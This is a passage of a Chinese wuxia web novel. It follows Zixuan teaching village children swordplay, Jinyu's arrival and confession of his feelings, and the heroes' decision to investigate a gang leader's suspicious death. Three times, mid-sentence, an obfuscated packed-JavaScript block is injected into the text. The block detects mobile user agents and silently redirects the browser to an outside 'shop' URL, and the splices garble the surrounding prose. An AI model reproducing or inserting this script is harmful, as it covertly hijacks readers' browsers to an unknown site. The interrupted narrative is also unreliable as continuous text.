学堂每日按照文武交替开课,上午下午各有两堂,饭前还要帮忙择菜洗菜,收拾院子和教室等等。每十日有两天休息。除了这些时间,孩子们可以自由玩耍,这个时候乐青澜和阿彬都会一起来逗孩子们开心。 特别是阿彬,慢慢地抢去了乐青澜的风头,成为了孩子们最喜欢的玩伴。他自己也十分欢喜,因他的身材与别人不同,过去不知道受了多少白眼,来到小院后也很少出门。但这些孩子们只觉得他神奇有趣,喜欢和他在一起,这让他头一回认识到原来与众不同也不是没有一点好处。 每次乐青澜陪孩子们疯玩的时候,韩仲昌差不多都在边上守着,有时还会怕她太累,要替她上场。紫璇注意到了,有次没忍住便多了一句嘴,偷偷问她韩仲昌是不是喜欢她。 “他?”乐青澜看了一眼正在院子里和孩子们玩游戏的韩仲昌,又看了一眼紫璇,摇头如拨浪鼓,“怎么可能,他喜欢男的。” “什么?!”紫璇差点没把喝进嘴里的水喷出来,这这这这这……许久她才找回声音,像做贼一样小声发问:“真的吗?” “真的。就是因为他在十六岁的时候发现了这一点,他才死活闹着要了结自己。” “啊……?就因为这个?” “当然也不只是这个原因,总之这事被他家里人知道了,他母亲当场就晕死过去,父亲呢生了好大一场气,又是打他又是骂他,把他说的一无是处,最后嫌他丢人,要把他赶出家门,让他自生自灭。多重打击之下,他可能就有点想不开吧。” “那他没死成……” “师父救了他,之后他没地方去,就一直跟着师父到现在。” “我想问的是,他死一次被救了,为什么还要继续去……跳崖?”紫璇眨巴着眼睛,此刻求教的心比那些孩子们还要强上些许。 “他就是仗着自己的轻功好,硬作的。要是一般人,你看他跳不跳。”乐青澜隔空剜了韩仲昌一眼,喝下杯中早就倒好的酒。 “木兰庄酿的果酒真不错!”喝完她还感叹了一句。 墨菊养好伤就和丹萍一起回了木兰庄,还像以前一样操持庄物,还把碧荷和雪梅的差事也接了过来。只不过现在劳力不如之前多,只能出钱雇佣附近的村民。产量比以前少了些,除了供应酒楼和茶坊,其余铺子都暂时停了,一些剩余的也会着人送到小院里给乐青澜他们喝。 108. 成全(一) 几杯酒下肚,乐青澜又满意又畅快,不禁谈兴大发,问紫璇道:“你呢,可有喜欢的人,或是喜欢你的人?” 紫璇猛眨了几下眼睛掩饰住心慌,吐出两个字:“没有。” 乐青澜似乎也并不期待她的回答,只顾着自斟自饮,然后说道:“我倒是有过那么一段。” 对此紫璇倒真的有点好奇,问她具体怎么回事,为什么现在没和那个人在一起。 “我十五岁逃离家乡,来到中原。一路风餐露宿,还要受各种欺负,如果不是靠着我自小随着阿爹进山打猎学来的一些本领,也不会活到现在。不过当时也遇到过一次大的危机,是他救了我。”乐青澜的目光缥缈起来,“严格来说,他才是我的启蒙师父。他叫我认字、教我保护自己,我学厌了发脾气他也不恼,反而会变着法地哄我,带我去吃好的喝好的。我的家乡也会酿各种酒,但都以烈为美,比不得中原的酒花样多、还很醇香。我就是从那个时候开始喜欢喝酒的。” “然后呢?” 紫璇想听她为什么没和那个人在一起,便问了出来。 “然后?然后我就爱上了他,他也喜欢我,想娶我。但是他家大业大,所期望的是一个可以相夫教子的贤妻,我不愿意做那样的女人,没办法,只能离开他。” “既然那个男子对你那么好,你为什么不愿意呢?” 乐青澜定睛瞧着她:“换作是你,你愿意放弃一身的武艺,只做一个内宅里听话的金丝雀吗?” 紫璇缓缓摇头,的确,学武如此辛苦,花费的精力和功夫像海水一样多,如果轻易放弃,真的不值。 “他对我是很好,好得无可挑剔。”乐青澜轻轻叹了口气,“可我也不能因为一个男人对我好,就无条件地选择他、放弃我自己吧。”酒壶中所剩的酒已不多,她直接拿起一饮而尽。 紫璇咀嚼着她最后的话,笑道:“你说的对,是要把自己放在前面。” 乐青澜又恢复了平日里的爽朗,为自己的故事做了个结尾:“所以,不是他不好,也不是我不对,只能说我们想要的不一样,既然如此那也没必要强行绑在一起,不如各自安好。” 紫璇把自己喝的水倒了些在她的杯子里,与之碰了一下,敬她:“青澜姐姐这般智慧洒脱,值得小妹敬你一杯。” 乐青澜闻言大笑,也干了自己的那一杯水,但还是稍嫌不足:“这要是酒就好了。” “你少喝些吧,不然你师父又要叨叨你,你是不怕,可我嫌烦呢。” 其实骆雁声对于乐青澜喝酒之事从不置喙,只是在路过看到的时候总要驻足停顿,然后摇头数下方才离去。他一个字没说,但是表情和动作中透露出的不满一点也不比骂人少。 ************************* 夏日的炎热褪去,一场又一场秋雨硬是将不愿现身的秋天拽了出来。 骆雁声内力高强,由他每日运功导引,紫璇体内相互较劲的真气渐渐安静下来。等到紫璇可以相对自如运功时,明显感觉到周身暖意融融。往年一过中秋,她都是第一个穿上夹衣的人,还要终日小心不能贪凉。如今,她只需和常人一样饮食穿衣,单就这一点而言,似乎俞映华的“礼物”并不是太坏。 虽然身体已经痊愈,但紫璇并不想回太白山,正好这里的孩子们需要她,她也乐得在此多待一些时日。 这一日,紫璇上完早课就回小院练功了,练得仍是那招“流星赶月”。她接连操演了五遍,可依然做不到许淑平要求的 “剑身平直,与剑谱所说丝毫无差”,不得不停下来仔细研究。 骆雁声无事,正在院中闲坐,恰好目睹了她的垂头丧气,隔着院子问:“为何停下?” “这一招我练了无数遍,始终做不到剑谱所说的‘直若修竹、平如绳墨’,就算是独自练习时偶然做到了,在实战中也必然是歪的。” “你再做一遍我看。” 紫璇依言演了一遍,这一次她在肩肘处几乎用了全力,剑身终于近乎板正,但骆雁声看了却直摇头。 “再来!” 骆雁声拿起她立在一边的剑鞘,以之为剑直驱过来。紫璇立刻跃起,手臂带剑划出一道圆弧,继而落地踏出,剑尖已和骆雁声手中的剑鞘对在了一起。骆雁声将剑鞘微微侧开,紫璇本能地跟上他的去势,手中剑与之交错,顺势划了下去。骆雁声用劲一抖,已撇开了她的剑。 “这一招意在击刺,剑身平不平直不直并不影响它的威力,你刚刚这样并无丝毫不妥。更何况前半招需跳跃和急速的走动,后面肩部有一点松懈,举不平剑也是正常的。”骆雁声将剑鞘归于原位,然后说出了自己的见解。 “可是,我师兄就能做到。” “那又如何,你们比的是谁把剑招用得更好,发挥的作用更大,而不是比谁做的和剑谱一模一样。” 他见紫璇仍然有些踌躇,便继续道:“记谱之人往往会为了好看把动作扭成一般人做不到的模样,后来者与其把心思花在怎么和它完全一致上,不如想一想如何改进使其趁手好用。削足适履、迎合一个你根本没见过面也不知道他到底怎么想的死人,未免太过迂腐。” 紫璇明白了,笑着收剑,向骆雁声郑重施了一礼:“多谢骆前辈指点迷津。” 骆雁声并无任何回应,连头都没点一下。紫璇已经熟悉了他这幅和谁都不亲近的样子,也不觉得有什么稀奇或是不快。 ************************* 再过几日便是下元节,需准备香烛祭品奉祀掌管水利的“水官大帝”大禹,又恰逢学堂开张两个月,大院小院二十来号人吵嚷着一定要热热闹闹的聚一场。骆雁声不发话,只出钱,乐青澜乐得自作主张,拉着周婶几个足足商量了两天。于是每个人,包括孩子们都分到了任务,要在节前办好,给周婶检查。 紫璇是外来的,又很少出门,对南阳城不熟悉,乐青澜只让她去街上铺子里买几样鲜果蜜饯。她想着这事不难,也无需提前置办,故而直到节前一天吃过晚饭,才慢悠悠地出门。 因是节前,街上的人流不少,还有很多小摊贩在兜售各种小玩意儿。紫璇买好了乐青澜指定的东西,看着热闹的景象,也想在外面多逛一会儿。她偶尔去某个无人光顾的摊位前驻足一会,大部分时候都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222107|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走马观花,即便如此,街面上欢欣涌动的气氛还是令她欢欣舒畅。 路过一个做面人的摊子,这里照例是孩子们最喜欢流连的地方,紫璇觉得人多就想避开,却在转头的一瞬间瞥见了一副弯弯的眉眼。她留驻片刻,然后掏钱买下了那个笑得无比开朗的面人。 回去的路上,她一直举着它,时不时起来看一眼。她已经不记得那个在金陵街面上见过的面人了,所以连她自己都很疑惑:“真的很像吗?” 然后她就听到有人在叫自己的名字,声音熟悉,但不是小院里的人。蓦然回首,瑾瑜的脸便出现在了熙来攘往的人群中。 真的是她!瑾瑜三步并作两步跑了过来,停在她面前。哪怕天色渐晚,紫璇也可看出他比之前瘦削了许多,好像还变黑了。 “真的是你,我还以为是我看错了呢。”瑾瑜一边说着话,一边有些贪婪地望着这副日思夜想的面容。 紫璇忍不住惊讶:“怎么是你?” 瑾瑜微微敛目:“我到这里好几天了,一直在找那位姓‘骆’的高人,但是一无所获。如果不是今天真的遇到了你,说不定我明日就走了,还好……” “你是来找我的?” “嗯。”瑾瑜突然想起自己的承诺,有些害怕不被欢迎,用更加急切的语气解释道:“我随舅舅去西域走镖,寻来了上好的昆仑玉。又请苏州的玉器匠人雕琢成棋子大小,虽然比不上名家的工艺,但多少能看,想必谭老前辈也不会和我太过计较。我……我去了秋山居,那里空无一人,我又不知道去天魄门的路径,想了想你还可能在哪里,就……就到了这儿……” 说完,他有些惶恐地瞄着紫璇,生怕她露出一丝不耐烦的神色。 紫璇却展颜笑道:“姥姥和新韵姐姐都在天魄门,估计也把谭叔叔叫去了,是以叫你扑了个空。” “还好,在这里找到你了。”瑾瑜低声说道。 紫璇没再多话,带着他回到了小院。她刚刚推开门,邀请瑾瑜进去的时候,最先和他打照面的是韩仲昌。结果两人同时愣在了原地,跟在后面的紫璇不知道出了什么问题,想推一把瑾瑜,却见到韩仲昌顷刻间跑过院子,到瑾瑜面前仔细瞧了两眼,然后……用力揉了揉他的脑袋。 紫璇:…… “你!”韩仲昌放开瑾瑜,“小家伙,长这么大了!” “阿昌哥哥好,”瑾瑜也极其兴奋,“没想到隔了这么些年,竟然还能再见到你!” 想起还有不明就里的紫璇,瑾瑜马上退后一步,向她解释说:“这位就是我之前说的,轻生时被我娘救下的那个哥哥。” 紫璇还在思考他说的是谁,韩仲昌先皱眉道:“你怎么到处跟人讲我的事。” “绝没有到处去说。只是紫璇姑娘的长辈见我的轻功稀奇,要问来历,我才提了这么一嘴。这些年也就说过这么一会。”瑾瑜马上说。 韩仲昌将他一把拉走:“那就不计较了,快来和我见师父。” 紫璇这才把刚刚听到的对话和在秋山居中瑾瑜讲过的故事联系到了一起,对啊,自己怎么从来都没想到,“飘逸出尘、独步天下”的轻功哪里会到处都有呢。 109. 成全(二) 骆雁声只教过瑾瑜这一样功夫,当时也没有行拜师礼,严格意义上不算他的师父。但瑾瑜是个守礼之人,仍以徒弟之礼参拜了骆雁声,众人也得以在骆雁声脸上看到了难得的温情与满意。 下元之期一过,学堂照旧,瑾瑜去观摩了文学堂的早课,正在和韩仲昌、陆文渊品评今日教学的优劣,忽然听见紫璇集合孩子们的声音,便停住话头,朝院中看去。 今日武课要学的是剑法。紫璇照例让所有人先演练了一遍刚刚学完的拳术,几个月下来,孩子们都小有所成,一套动作下来无一处错漏。像金花儿这样年纪大些的孩子已然透露出些许武人之风了。见到此情此景,乐青澜欣慰地连连拍掌,紫璇也同样满意。 接下来,紫璇便用自己的短剑做示范,向孩子们讲解起剑的构造以及刺、劈、撩、挂、点、抹、托、架、扫等九种最基本的剑招。有了基本认识,乐青澜把用木头削成的小剑分发给每个人,之后孩子们便依着紫璇的示范开始重复“刺”的动作。 “出剑要快、持剑要稳、身子要正、脚步不动!” 跟着紫璇的要领,孩子们学得似模似样,临下课时已经有四个孩子可以做出合格的击刺动作了。 一下课,紫璇就卸下了严肃的面具,面对孩子们此起彼伏的提问,笑着一一解答。 一个孩子问:“紫璇姐姐,打坏人的时候是用拳比较厉害,还是用剑比较厉害?” “两种功夫各有所长,也各有所短。拳头敦实,剑法灵动,也会因个人禀赋不同,使出来的威力有所差别。就比如你个子高,手臂长,打拳的时候上半身就比较好用力,但是下身容易不稳。相反,个头矮的人反而下盘稳固,在出拳的时候更为有利……” 透过云彩洒下来的日光罩在娓娓道来的紫璇身上,更衬得她温柔平和。陆文渊心思敏锐,瞥见瑾瑜望向紫璇的目光,心中了然,当下也不揭破。 午饭过后,孩子们自去休息,紫璇也被乐青澜叫走。陆文渊本想单独邀上瑾瑜说说话,却被韩仲昌撞见,也想掺和进来。他无奈,又不好拒绝,想来他不爱说话,应也无妨,于是三人就拿出酒和两盘果子在伙房里坐了下来。 瑾瑜来的那一日,已经向众人简略说明过自己和谭修明的小小“恩怨”以及来这里找紫璇的目的。与此同时,他也好奇陆文渊为什么会在这里,便于此时问了出来。 “我脱离彭城派后无处可去,正好遇到了骆前辈,便被他收留了。” 提起彭城派,瑾瑜欲言又止。陆文渊知道他想问什么,也不避讳韩仲昌,直接道:“我既然已经做了决定,就不会再回去了。没有我在,她的掌门才能当得名正言顺。” “她?”韩仲昌捕捉到关键词,即便他是一个寡淡之人,也不免好奇地竖起了耳朵。 “听闻阮掌门回到彭城后,还是花了些力气才收服了派中上下。” “女子执掌门户在武林中闻所未闻,派中古板之人必然会拿男女说话。可如今彭城派以她为大,大部分弟子支持她,她又素有威望,只要能摆平大多数元老,就不会有太大风浪。” “说来说去,还是武林的规矩太过不可理喻。一派掌门有能者居之有什么问题,为什么非要在男女上做文章?”说起这一点,瑾瑜还是忍不住义愤填膺。 “哼,有什么问题!?要是女子能有出头的机会,谁来给世上的男子生儿育女、打理家事呢?”陆文渊喝下一杯酒,将酒杯重重摔在案上,“男人们为了一己私利,把女子束缚在内帏琐事上,却以‘女子体弱、不堪大用’为理由限制她们学武和出头,真是笑话!” “不错,历来都以为男主外、女主内,可这又是谁定下的规矩呢?我认识的人之中,恰恰有女主外、男主内的,一样夫妻和睦、家业顺遂。” “更有那一等男子,自己不知进取,反而为了掩饰自己的无能和庸碌,刻意折辱女子,生怕她们抢去自己的风头。” 想起听说过的一些别家私隐,瑾瑜也不住点头,赞他说的确有其事。 两人感叹数声,喝下几杯酒后,陆文渊又道:“云……师姐她虽然从未提起,但我知道她对掌门之位不是没有心思。只是碍于礼法,难以争取。否则她也不会几乎把自己的全幅精力都放在经营彭城派上。” “所以你故意当众脱离彭城派,就是为了成全她的心愿。” “她能成为掌门,并非由于我的成全,我只是让本该发生的事情发生而已。” “陆大哥……你真的就此放弃……我指的是,放弃阮掌门。”瑾瑜小心翼翼地措辞,生怕冒犯了他又或是阮云飞。 陆文渊勾唇自嘲:“我有放弃的资格吗?在这件事情上,我从来都没有选择的余地。” “等事情过去,阮掌门坐稳掌门之位,或许你还可以……”瑾瑜试图安慰他。 “不会了,”陆文渊打断他的话头,晃起酒杯,眼睛盯着里面的小小旋涡,“我的出现只会让她难堪。” “我只是觉得你们……有些可惜。”瑾瑜艰难地选择着词句。 陆文渊轻笑着放下酒杯:“从头至尾,她只把我看做师弟,从未有过半分情意,也谈不上可惜。” “既然如此,你为何还……” 瑾瑜的疑问尚未出口,他已经答说:“我做的所有事,只是因为我想做,或者因为那本来就是正确的事,并没有什么别的目的,更不是为了获得她的青睐。如果她为了感激我而接受我,我反倒觉得玷污了我对她的感情。” “陆大哥所言极是,纯粹的爱掺不得半点委屈和假意,我也是这样想的。”他对待感情的态度令瑾瑜十分感佩,他一边说一边仰头敬了他一杯。 韩仲昌闻言默默,但是也陪了一杯酒。 “我的事说完了,来说说你吧。”陆文渊抬眼瞧着瑾瑜。 “我的?”瑾瑜有些懵懂,“我有什么事?” “你对紫璇姑娘,不也是一般心思吗?” “我……” 被陆文渊道破心意,瑾瑜倒不觉得窘迫,只是担心自己对紫璇的关注会不会太过明显了。 “她知道吗?”陆文渊见他踯躅,便猜想他可能也遇到了阻碍,只是不知道这阻碍来自何处。 “知道,我……和她说过。”瑾瑜攥紧手中酒杯,“她直接告诉我她不喜欢我,还让我离她远一点。我承诺过,以后再也不会提起此事,让她为难。” 陆文渊和韩仲昌对视一眼,都暗暗叹了口气。 “可是,你还是放不下她。”陆文渊并不就此打住。 瑾瑜低头看着地面,过了一会儿才道:“我舅舅也说,她和我是不同世界的人,让我早点断了心思,可我……” 他再次沉默,连喝了两杯酒,才又开口:“我随舅舅去沙洲*走镖,路途遥远、风餐露宿,过了金城**以后不久,几乎每日都要为了在哪里扎营、在哪里取水发愁,每天晚上累的都说不出话来,倒头就睡,也就不再想她了。 “经过瓜州***时,我们遇上了风暴,狂风卷起砂石,一瞬间便能遮天蔽日。我试图按照向导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254734|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的指示紧贴镖车等风暴过去,可风沙太大太猛,镖队被硬生生截作了两段,我和高镖头连带着一辆镖车和大部队走散了。 “没有帐篷,没有柴来烧火,夜里冷极了,即便用上我们所有的御寒之物也只能勉强令人不发抖。手上的吃食也不多,还不够一天的量。第二天我们意识到了危险将至,不能再坐以待毙,高镖头和我便决定去找大部队。幸好拉车的骆驼还在,我们以日头定方位,继续往西走。 “可是……”瑾瑜渐渐地有些哽咽,“路上又起了风暴,这一回骆驼不知怎么了,受了惊要跑,高镖头怕走了镖,在风沙中费力地和骆驼拉扯。等到一切归于平静,我才知道,他拼尽力气放走了骆驼才保住了镖车,自己却再也没能起来。 “他被重重的黄沙掩埋,只漏出了高举着镖旗的半截手臂。我用剑、用锹……什么都用了,才把他从沙子堆里刨了出来,可是他早就没了呼吸…… “我守着镖车和一具尸体,一个人又过了一个晚上,有一瞬间我觉得自己也要死了,然后无数过往的瞬间走马灯似的闪现,死去的小狗、冷战的爹娘……还有说根本不喜欢我的她、替我挡下暗器的她、提起练武兴致勃勃的她、还有总是故作坚强的她。舅舅找到我的时候,我已经晕死了过去,如果不是向导有经验,知道在沙漠中被冻僵了的人怎么救治,恐怕我会真的死在那里。 “养病的时候,那些画面在我的脑子里一遍又一遍的反复,我知道,那是我迄今为止的遗憾。小狗已经死了,爹娘也不可能和好,只有她,我是不是还可以争取一下?又或者有什么法子,可以让我不再想她。我不知道,总要见到她才会有答案吧,我这才去了秋山居,然后又想起她可能会来南阳,就又到了这里。” “可真的见到了人,我还是不知道该怎么办。要怎么争取呢?她已经明确说了不会喜欢我,见到我也淡淡的不怎么说话。我……而我确实也配不上她,她智勇双全,遇事坚强,而我呢,只能等着被人来救,高镖头死的时候,我竟然……竟然哭了,哭得上气不接下气,像个没长大的孩子一样……小时候我一哭,我爹就会训斥我,说我像个女孩子,一点男子气概都没有,丢了整个方家的脸面……” “谁说哭就是丢脸?”一直没有说话的韩仲昌突然高声,陆文渊和瑾瑜都吓了一跳。特别是瑾瑜,夺眶而出的眼泪还挂在脸上。 “女孩儿能哭,男子就不能哭吗?这又是谁定的规矩。饿了要吃饭、疼了难受了要流泪,明明都合乎自然之理,为何不让?又凭什么把男子气概和会不会忍眼泪联系在一起。再说了,什么是男子气概,怎么从来没听说过女子气概!?” 陆文渊不禁拊掌:“仲昌说得好!狗屁的男子气概,我并不觉得哭就代表软弱,只有心存善念的人才会为其他生命的逝去而哭。瑾瑜是个至纯至性之人,但凡了解你的人都不会怀疑,这才是男子气概又或是女子气概的核心。至于你说的智和勇,可以学可以练;坚强也只是大家推崇的诸多品质中的一种,你未必没有,就算没有,你也有自己的优点,为何要去比较。所以,你说的的‘配不上’真真是毫无道理。” 瑾瑜看看韩仲昌,又看看陆文渊,慢慢消化着他二人刚刚的这一大段话。 “既然不存在配得上不配得上,剩下的就是你的心。你担心的无非是再被紫璇姑娘拒绝一次,可要要是真心喜欢,又何必在乎结果?”陆文渊说着,又给他满上了一杯酒。 *今甘肃敦煌 **今甘肃兰州 ***今甘肃酒泉 110. 死讯(一) 韩仲昌遣去嘉兴的人有了回信,说洪漕帮帮主范广胜已于十月十五深夜离世。关于他的死因,说法也都差不太多:前遭贼人刺杀,伤势缠绵数月才稍有起色。上元节,按例帮主需亲自主持祭禹仪式,可到了当天,范广胜虽然出席了,但祭礼却是由副帮主吴宏主持的。当天晚上便因劳累病势恶化,连一项为范家看诊用药的大夫都回天乏术,最终在夜里咽了气。 早在三个月前,乐青澜就已经将紫璇带来的信转达给了骆雁声。骆雁声看过之后只说了一句:“毫无意义”。 周婶唏嘘道:“阿琼这么好的姑娘,生生毁在了他爹手里!” 骆雁声却并不同意她的说法:“她的命运掌握在自己手上,岂是他人能毁掉的?如果她不去报这个仇,也不会没命。” 乐青澜和他争辩:“是范广胜对不起她娘在先,怎么能把罪责怪到阿琼头上?” “世上每天都在发生各种人对不起人的事情,要是样样都要寻仇,日子还过不过?” “那不一样!她的至亲之人被害,难道要她无动于衷吗?”乐青澜不服。 “报了仇同时也葬送了自己的未来,值得吗?”骆雁声反问她。 乐青澜顿时没了声音。此时周婶道:“先生说的也有道理,有些时候,自己好好活着比什么都重要。” 阿彬全程听着,最后也说了一句话:“就比如我,要是去找那些曾经欺负过我的人,不知能找出几十个?可是又如何呢?就算是把他们杀了,我也不会长高,与其和他们争闲气,不如想想怎么让自己开心。” 乐青澜虽没有完全服气,但也无话可说了。 此刻范广胜殒命的消息落地,众人也并不如何高兴。 乐青澜先道:“范广胜还真是命大,阿琼五月去行刺,直到十月才死。” “据说副帮主吴宏寻了很多老山参帮他吊着命,应该也起了点作用吧。”瑾瑜道。 “我都替那些老山参可惜。”提到范广胜,乐青澜很难不刻薄。 “不对,”陆文渊思考良久,说出来自己的疑问,“不是说范广胜的身体已经有了起色吗?怎么说没就没了?” 他的怀疑别人未必没有,一时间大家都没有回应,默默想着这之中的不合情理之处。 安静之中,乐青澜先问了一个问题:“你们说阿琼用匕首伤了他?” “对,”瑾瑜答道,“阿琼姑娘用匕首刺中他胸口数下,伤势不可能不重。” “如果是穿刺伤,中的又是心脏,怎么可能迁延五个月,正常人用不上三天就会毙命。”原本在里屋的骆雁声突然打开房门,指出疑点。 “师父”,乐青澜马上起身,“你不是在休息吗?” “你们这样七嘴八舌的,我怎么休息。”骆雁声冷着脸,边说边在一旁的榻上坐下。然后继续道,“要说他命大,阿琼根本没有伤到他的要害,也不是没有可能。只不过这就和他养伤了五个月伤的说法对不上。再者说,单纯利器造成的伤好了就是好了,又怎么会突然恶化呢?” 听到范广胜的死因时,紫璇也隐隐约约觉得有些不可思议,此刻被骆雁声道出破绽,她立刻有了猜想。 “其中定有蹊跷。”她朝瑾瑜看去,“我想去查一查。” “人已经死了,就算查出端倪又有何用?”骆雁声道。 紫璇顿了顿,起身当众向他下拜,说道:“晚辈一直隐瞒自己的来历,还请前辈赎罪。” 乐青澜瞪大眼睛,瞧了瞧紫璇,又去看瑾瑜,最后和韩仲昌对视一眼,只等骆雁声发话。陆文渊知道是怎么回事,但她见紫璇似乎不欲让人知道,所以也从来没有多过嘴。 骆雁声却并不在意这一点,而是说:“行走江湖,隐藏身份没什么不对,何罪之有?你起来吧。” “那为何今日又要说出来?”他的目光沉沉地落在紫璇身上,或许他多日来的一丝猜想要有答案了。 “前辈有问,晚辈为何想去探查范广胜的死。要说明这一点,就不得不提及我的家世背景。” 骆雁声点头,示意她继续说下去。 “晚辈实乃天魄门人。前辈或许知道,数月前,天魄门为人构陷,为了夺回一副本属于自己的藏宝图接连杀人,直到七月襄阳武林大会,我们才澄清真相、洗脱冤屈。然而,将天魄门置不义之地的幕后之人到底是谁,我们却一直不得而知。只有一点最为明确,这之中少不了倪家庄的推波助澜……” “倪家庄?” “对,晚辈以前从来没有听说过这样一个地方,他在所有凶案发生前刚刚出现,真相揭破时又立刻消失,很难不让人疑心他背后之人的真实用心。” “那洪漕帮和你说的倪家庄又有什么关系?” 紫璇便将自己调查倪家庄时如何被洪漕帮四处围堵的事情详细讲了一遍。 “也正是因为如此,我才被阿琼所救。”紫璇道,“如果范广胜的死真有什么蹊跷,晚辈疑心其中也会有倪家庄的参与。” “你想通过洪漕帮顺藤摸瓜,查出倪家庄的背后之人?” “是。” 骆雁声停顿了很久,最后却问了另一个问题。 “你姓文,文远骥是你爹?” 紫璇点头,骆雁声也点了一下,然后目光穿过敞开的屋门,望着院子里露出来的天空一角。 “天魄门如今也有复起之势了。” “哪里?”紫璇微微摇头,自嘲道,“江湖之人大多都说我爹龟缩守成,只敢在太白山上作门主。” “哼,”骆雁声露出不屑,“开疆拓土固然不易,可保业守成也要费心用力。天魄门二十多年来屡遭众创,没有一朝倾覆,还能屹立不倒,且有蒸蒸日上的势头,可见带领它的人绝不是平庸之辈,只怕比那些争强好胜、看似煊赫的门派要强上许多。” 陆文渊附和道:“我师父在世时也有此论。武林中重虚名,为了争个“天下第一”的名头不惜以举派之力和其他门派抗衡,最终难免遭到反噬。” “不错,”骆雁声顺着他的话,又道,“苏明启不就是个活生生的例子?江湖上都说他功勋赫赫,没有他励精图治、四处征伐,哪里来的天魄中兴。可大家却忘了,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254735|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为他眼睛只瞧着上面,故而从未看到门中已有的裂缝,死后才有那几番波折。他在世时,不断有新人迫于他的威势加入天魄门,可他始终未能让这些人合为一心,他一死,天魄门便分崩离析,要真论起功过来,只怕不是那么容易就有定论的。” 骆雁声的议论让紫璇很是感激,她也道:“前辈所言甚是。我年纪小,所知有限,但偶尔听长辈们议论,他们也做如此说。事实上,师祖身故时大部分人都要借机脱离,再加上门主之争爆发,据说那时候就已经有人提议拆伙,废去天魄门。最后还是师祖的夫人力挽狂澜,驱逐了所有想要兴风作浪之人,并在师祖的徒弟之中定下了继任者。只不过,这些事情江湖上的人很少提起罢了。” “为什么?”乐青澜质问,“又是为了贬抑女子,故意看不见她们的功劳呗!” 紫璇低头冷笑,没有再多说。 “再优秀的女子也敌不过这世间洪流。”骆雁声长叹一声,又看向紫璇,“你的师祖娘……她还好吗?” 关于姥姥和她年少时的爱侣,紫瑛曾偷偷告诉过紫璇。在木兰庄,俞映华和骆雁声提起许淑平时,她就已经猜到骆雁声便是那个人。此刻骆雁声这样小心地问起许淑平,紫璇的心再度被揪起,立马低眉敛目,免得泄露出自己的心思。 “她不想做这个门主夫人,是以在门中诸事都稳妥了之后,便在含山起了一所宅院,隐居起来。” “不理世事?” “若不是为了我娘和我,姥姥很少下山,长年累月地呆在秋山居中。” “秋山居?” “秋山居是那所宅院的名字。” “江汉曾为客,相逢每醉还。浮云一别后,流水十年间。欢笑情如旧,萧疏鬓已斑。何因不归去,淮上有秋山。”* 他没头没尾地吟起诗来,众人都不明所以。只有瑾瑜揣摩诗意,又看见他眉宇之间的谈谈怅愁绪,好像明白了他是谁。 “师父,”乐青澜走到他身边,“你怎么了?” “没什么,”骆雁声笑了笑,“突然想起了我年轻的时候。” “师父年轻的时候是什么样子?”乐青澜试想象下了一下,却根本没有一点思路,便直接向骆雁声发问。 “飞扬跋扈、眼高于顶,天真可笑、不通世情。” 骆雁声缓缓说出这几个不怎么好听的词,弄得大伙儿更加莫名其妙。众人见他心绪不佳,除了乐青澜这一次尝试,已经没有人敢再问任何问题了。 隔了好一会儿,骆雁声才开口,对着紫璇道:“若范广胜之死真和倪家庄有牵连,那嘉兴的情形必然不简单,你一个孤身前去不妥,我让韩仲昌陪你去。他出身江南,我在那边的朋友他也基本认识,有什么困难他可以帮忙。” 这番周到爱护实在出乎紫璇的预料,她马上下拜,代表天魄门感谢他拔刀相助。 骆雁声面无表情,只淡淡地摆了摆手:“没什么。你帮了阿琼,我替她帮帮你。再说,她想必也很想知道,范广胜到底是怎么死的。” *唐·韦应物《淮上喜会梁川故友》 111. 死讯(二) 嘉兴城,织锦巷。 巷内住的都是平民百姓,为了多省些钱,晚饭过后大部分家里都早早地熄了灯,或只在内室留下一盏昏暗的烛火。加上今日没有月亮,巷子里便越发漆黑一片。 忍住黑,一直朝巷子往里走,便可看到还有一户人家的院子里点了一盏灯,同时还能隐隐约约听到从中传出咒骂、哭泣和哀求的声音。还没睡着的左邻右舍最爱探问别家的私事,一个个都悄悄竖起了耳朵。 “有我在一天,你休想打你妹妹的主意!”张大哥大吼了一声。 他的儿子张大用虽然跪着,脸上却满是不服气。 在他旁边,一个中年女子搂着一名年轻的女孩,正在低低哭泣。这是他的母亲和妹妹,张大哥的老婆和女儿。 “那你就是要我去死!”张大用挺着脖子,仗着自己是张家独苗儿不甘示弱。 “那你就去死!”张大哥睚眦欲裂,几乎没了理智。 听到这句不留余地的话,张大哥的老婆和女儿哭得更厉害了。 “我是你儿子!为了这个赔钱货,难道你连儿子都不要了?” 